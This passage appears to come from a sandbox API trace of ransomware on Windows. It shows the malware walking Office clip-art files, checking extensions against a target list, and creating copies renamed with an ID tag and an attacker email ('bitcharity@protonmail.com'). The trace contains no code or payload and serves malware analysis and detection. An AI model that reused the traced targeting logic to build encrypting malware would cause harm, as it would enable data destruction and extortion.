dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0256.753] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x251ff14 | out: lpFileSize=0x251ff14*=5792) returned 1 [0256.753] CloseHandle (hObject=0x1288) returned 1 [0256.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01130_.wmf")) returned 0x220 [0256.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01130_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0256.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0256.754] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.754] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01130_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.754] CloseHandle (hObject=0x1288) returned 1 [0256.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF") returned 68 [0256.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF") returned 68 [0256.754] lstrlenW (lpString=".doc") returned 4 [0256.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.755] lstrlenW (lpString=".docx") returned 5 [0256.755] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.755] lstrlenW (lpString=".pdf") returned 4 [0256.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.755] lstrlenW (lpString=".xls") returned 4 [0256.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.755] lstrlenW (lpString=".xlsx") returned 5 [0256.755] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.755] lstrlenW (lpString=".ppt") returned 4 [0256.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF") returned 68 [0256.755] lstrlenW (lpString=".zip") returned 4 [0256.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.755] lstrlenW (lpString=".rar") returned 4 [0256.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.755] lstrlenW (lpString=".bz2") returned 4 [0256.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.755] lstrlenW (lpString=".7z") returned 3 [0256.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF") returned 68 [0256.755] lstrlenW (lpString=".dbf") returned 4 [0256.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF") returned 68 [0256.755] lstrlenW (lpString=".1cd") returned 4 [0256.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF") returned 68 [0256.755] lstrlenW (lpString=".jpg") returned 4 [0256.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF") returned 68 [0256.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF") returned 68 [0256.756] lstrlenW (lpString=".doc") returned 4 [0256.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.756] lstrlenW (lpString=".docx") returned 5 [0256.756] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.756] lstrlenW (lpString=".pdf") returned 4 [0256.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.756] lstrlenW (lpString=".xls") returned 4 [0256.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.756] lstrlenW (lpString=".xlsx") returned 5 [0256.756] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.756] lstrlenW (lpString=".ppt") returned 4 [0256.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF") returned 68 [0256.756] lstrlenW (lpString=".zip") returned 4 [0256.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.756] lstrlenW (lpString=".rar") returned 4 [0256.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.756] lstrlenW (lpString=".bz2") returned 4 [0256.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.756] lstrlenW (lpString=".7z") returned 3 [0256.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF") returned 68 [0256.756] lstrlenW (lpString=".dbf") returned 4 [0256.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF") returned 68 [0256.757] lstrlenW (lpString=".1cd") returned 4 [0256.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF") returned 68 [0256.757] lstrlenW (lpString=".jpg") returned 4 [0256.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.757] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0256.757] lstrlenW (lpString="NA01141_.WMF") returned 12 [0256.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0256.759] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x251ff14 | out: lpFileSize=0x251ff14*=5848) returned 1 [0256.759] CloseHandle (hObject=0x1288) returned 1 [0256.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01141_.wmf")) returned 0x220 [0256.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01141_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0256.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0256.760] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.760] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01141_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.760] CloseHandle (hObject=0x1288) returned 1 [0256.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0256.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0256.761] lstrlenW (lpString=".doc") returned 4 [0256.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.761] lstrlenW (lpString=".docx") returned 5 [0256.761] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.761] lstrlenW (lpString=".pdf") returned 4 [0256.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.761] lstrlenW (lpString=".xls") returned 4 [0256.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.761] lstrlenW (lpString=".xlsx") returned 5 [0256.761] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.761] lstrlenW (lpString=".ppt") returned 4 [0256.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0256.761] lstrlenW (lpString=".zip") returned 4 [0256.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.761] lstrlenW (lpString=".rar") returned 4 [0256.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.761] lstrlenW (lpString=".bz2") returned 4 [0256.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.761] lstrlenW (lpString=".7z") returned 3 [0256.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0256.761] lstrlenW (lpString=".dbf") returned 4 [0256.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0256.762] lstrlenW (lpString=".1cd") returned 4 [0256.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0256.762] lstrlenW (lpString=".jpg") returned 4 [0256.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0256.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0256.762] lstrlenW (lpString=".doc") returned 4 [0256.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.762] lstrlenW (lpString=".docx") returned 5 [0256.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.762] lstrlenW (lpString=".pdf") returned 4 [0256.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.762] lstrlenW (lpString=".xls") returned 4 [0256.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.762] lstrlenW (lpString=".xlsx") returned 5 [0256.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.762] lstrlenW (lpString=".ppt") returned 4 [0256.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0256.764] lstrlenW (lpString=".zip") returned 4 [0256.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.764] lstrlenW (lpString=".rar") returned 4 [0256.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.765] lstrlenW (lpString=".bz2") returned 4 [0256.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.765] lstrlenW (lpString=".7z") returned 3 [0256.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0256.765] lstrlenW (lpString=".dbf") returned 4 [0256.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0256.765] lstrlenW (lpString=".1cd") returned 4 [0256.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 68 [0256.765] lstrlenW (lpString=".jpg") returned 4 [0256.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.765] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0256.765] lstrlenW (lpString="NA01148_.WMF") returned 12 [0256.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0256.766] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x251ff14 | out: lpFileSize=0x251ff14*=7992) returned 1 [0256.766] CloseHandle (hObject=0x1288) returned 1 [0256.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01148_.wmf")) returned 0x220 [0256.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01148_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0256.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0256.767] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.768] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01148_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.768] CloseHandle (hObject=0x1288) returned 1 [0256.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0256.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0256.768] lstrlenW (lpString=".doc") returned 4 [0256.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.768] lstrlenW (lpString=".docx") returned 5 [0256.768] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.768] lstrlenW (lpString=".pdf") returned 4 [0256.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.768] lstrlenW (lpString=".xls") returned 4 [0256.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.769] lstrlenW (lpString=".xlsx") returned 5 [0256.769] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.769] lstrlenW (lpString=".ppt") returned 4 [0256.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0256.769] lstrlenW (lpString=".zip") returned 4 [0256.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.769] lstrlenW (lpString=".rar") returned 4 [0256.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.769] lstrlenW (lpString=".bz2") returned 4 [0256.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.769] lstrlenW (lpString=".7z") returned 3 [0256.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0256.769] lstrlenW (lpString=".dbf") returned 4 [0256.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0256.770] lstrlenW (lpString=".1cd") returned 4 [0256.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0256.770] lstrlenW (lpString=".jpg") returned 4 [0256.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0256.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0256.770] lstrlenW (lpString=".doc") returned 4 [0256.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.770] lstrlenW (lpString=".docx") returned 5 [0256.770] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.770] lstrlenW (lpString=".pdf") returned 4 [0256.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.770] lstrlenW (lpString=".xls") returned 4 [0256.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.770] lstrlenW (lpString=".xlsx") returned 5 [0256.770] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.770] lstrlenW (lpString=".ppt") returned 4 [0256.770] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0256.770] lstrlenW (lpString=".zip") returned 4 [0256.770] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.770] lstrlenW (lpString=".rar") returned 4 [0256.770] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.770] lstrlenW (lpString=".bz2") returned 4 [0256.771] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.771] lstrlenW (lpString=".7z") returned 3 [0256.771] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0256.771] lstrlenW (lpString=".dbf") returned 4 [0256.771] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0256.771] lstrlenW (lpString=".1cd") returned 4 [0256.771] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 68 [0256.771] lstrlenW (lpString=".jpg") returned 4 [0256.771] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.771] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0256.771] lstrlenW (lpString="NA01149_.WMF") returned 12 [0256.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01149_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0256.772] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x251ff14 | out: lpFileSize=0x251ff14*=4680) returned 1 [0256.772] CloseHandle (hObject=0x1288) returned 1 [0256.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01149_.wmf")) returned 0x220 [0256.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01149_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0256.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01149_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0256.773] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.773] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01149_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.774] CloseHandle (hObject=0x1288) returned 1 [0256.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF") returned 68 [0256.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF") returned 68 [0256.774] lstrlenW (lpString=".doc") returned 4 [0256.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.774] lstrlenW (lpString=".docx") returned 5 [0256.774] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.774] lstrlenW (lpString=".pdf") returned 4 [0256.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.775] lstrlenW (lpString=".xls") returned 4 [0256.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.775] lstrlenW (lpString=".xlsx") returned 5 [0256.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.775] lstrlenW (lpString=".ppt") returned 4 [0256.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF") returned 68 [0256.775] lstrlenW (lpString=".zip") returned 4 [0256.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.775] lstrlenW (lpString=".rar") returned 4 [0256.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.775] lstrlenW (lpString=".bz2") returned 4 [0256.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.775] lstrlenW (lpString=".7z") returned 3 [0256.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF") returned 68 [0256.775] lstrlenW (lpString=".dbf") returned 4 [0256.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.776] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.776] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01152_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.777] CloseHandle (hObject=0x1288) returned 1 [0256.784] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.784] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01154_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01154_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.784] CloseHandle (hObject=0x1168) returned 1 [0256.785] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.785] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft 